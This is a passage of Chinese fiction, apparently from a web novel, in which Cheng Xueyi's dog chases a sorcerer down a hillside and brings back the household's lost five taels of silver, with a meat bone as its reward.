说罢，贺玉莲拎着章哥儿的衣裳领子便往家赶。众人也识趣地纷纷散了。 屋内多橘瞧见外面的人陆续离开，便舒了口气，将正堂外的大门重新敞开。 “好闺女，要不要给你请个郎中来瞧瞧？我见你脸色不大好。”秦莫如见程雪衣面容憔悴，不免担心。 “干娘不必为我忧心，我是昨儿夜里未休息好，又被贺玉莲胡闹了一遭，一时有些疲乏罢了。”她揉揉眉心，勉强笑道。 “那我们先出去，你先好好休息。若有需要，喊我便是。”秦莫如领着盈姐儿回了东屋，等着多橘将手上的活计忙完，倒了杯热茶递与程雪衣。 “姐儿，你说咱那五两银子还能寻回来吗？” 程雪衣接过茶盏，掀开盖子，吹了吹茶沫，呷了口，又将茶盏放在一边桌几上，似笑非笑道：“那就得看大黄的本事了。” — 后山，青草漫野，山坳间野花点点。术士一面手持铜镜，一面俯身在地面搜寻什么。 他举起铜镜朝四面八方照了照，见铜镜内未有“脏东西”现身，于是又往前走去，边走边念咒语。 又走了十几步，术士忽然听见身后传来犬吠声，惊得他手中的铜镜再次跌落在地，连连退后几步。 身后的黄狗已经撵了上来，且丝毫没有停下来的意思，继续朝术士狂吠，作势就要朝他身上扑过去。 那术士生来怕狗，又见黄狗眼睛瞪得溜圆，露出獠牙，便顾不得许多，连滚带爬地朝山坡下跑去。还未走出一米远，术士脚下踩空，从山坡上直直滚了下去。 瞬时，惨叫声响彻山谷。 黄狗颠颠儿朝坡下跑去，见术士身上的褡裢滚落在地，立刻上前翻找。待看见落在草丛间的钱袋子，黄狗立刻一口叼住，迅速跑开。 又过半晌，黄狗叼着钱袋子跑回了秦家院落。见院中无人，它便开始呜嗷嚎叫，多橘听了，立刻出来制止，见它口中衔着钱袋子，喜出望外道：“姐儿，这五两银子真叫黄狗儿寻回来了！” 程雪衣立刻从榻上起身，踱步到正堂门首，见多橘手中捧着钱袋子，黄狗围在她脚边打着转不肯离开。 她将钱袋子打开，将里面的一根肉骨头扔到地上，黄狗的涎水顺着齿缝滴落，迅速扑食啃咬。不消片刻，竟被它吃得骨头渣滓都不剩了。 “姐儿，还是你厉害！” 程雪衣将那五两银子倒在多橘的掌心上，眼睛弯成月牙道：“今天晚上加餐！” 多橘福了福身，将浸满油花的钱袋子用清水洗好，放在石墩上晾晒，转身钻进厨房，准备晚饭去了。